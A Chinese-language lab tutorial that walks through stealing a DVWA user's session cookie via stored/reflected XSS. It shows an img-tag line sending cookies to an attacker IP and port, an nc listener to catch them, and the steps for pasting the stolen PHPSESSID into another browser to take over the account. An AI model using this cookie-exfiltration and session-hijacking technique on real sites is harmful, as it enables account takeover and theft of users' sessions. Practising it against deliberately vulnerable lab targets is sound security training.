使用XSS漏洞获取cookies
使用XSS漏洞获取cookies
一、前期准备
火狐为受害者,已经登陆到DVWA
chrome为攻击者,没有登陆权限/可以登录,但权限不如火狐高
在火狐输入xss语句获取cookie,使用chrome登录其账号
二、构造xss语句
想要把cookie发送给攻击者,所以首先要想到使用get、post请求(下面是用get举例)
1.构造初步代码
攻击者ip为192.168.136.149:8023,而想要发送的内容是cookie,所以先构造出一个简单的url:192.168.136.149:8023/?cookie
2.发送get请求
发送get请求可使用的方法有:location重定向(访问当前页面的时候重定向到192.168.136.149:8023/?cookie这个页面)、img标签、script标签等
这里我们使用img标签
img标签传输原理:img标签传输分为两步,首先img src=”url“ 先向url发送一个get请求,之后把请求的内容当作图片展示在页面上
实际上我们只需要其第一步——向src后的url发送一个get请求
发送的代码
发送后无法识别图片(正常现象)
接收端我们使用nc去监听,其中接收端与发送端(xss语句)的端口要一致【让要攻击代码把cookie发送到8023端口,接收也在8023】
监听成功,但只收到了cookie的字符不是真正的cookie
说明发送端中的cookie只是数据不是指令
3.构造xss语句
<img src="http://192.168.136.149:8023/?cookie">中引号包括的部分为完整数据,所以不能直接使用document.cookie,需要进行区分
使用单引号将数据包含起来,再将三个字符串用加号拼接(’a‘ + ‘b’ = ‘ab’ ,JavaScript中字符串相加),变成【数据+指令执行的结果+数据】的形式
因为document.cookie是个JavaScript指令,在html页面中必须要用<script>标签包裹起来才可以运行(和alert一样,必须要<script>alert(a);</script>才可以使用)
接下来需要将内容写入html页面中,使用document.write
总结:最外层的<script>标签是告诉浏览器,内部的东西要当作JavaScript脚本运行
document.wirte是将括号里的内容写到html页面当中去
在dvwa输入构造好的payload,再用nc监听
成功获取到火狐的cookie内容
三、使用cookie信息登录
使用chrome,f12打开控制面板->application->cookies->PHPSESSID
双击PHPSESSID,将nc监听到的PHPSESSID粘贴替换即可,security也可一起更改
此时再去访问DVWA即可成功登录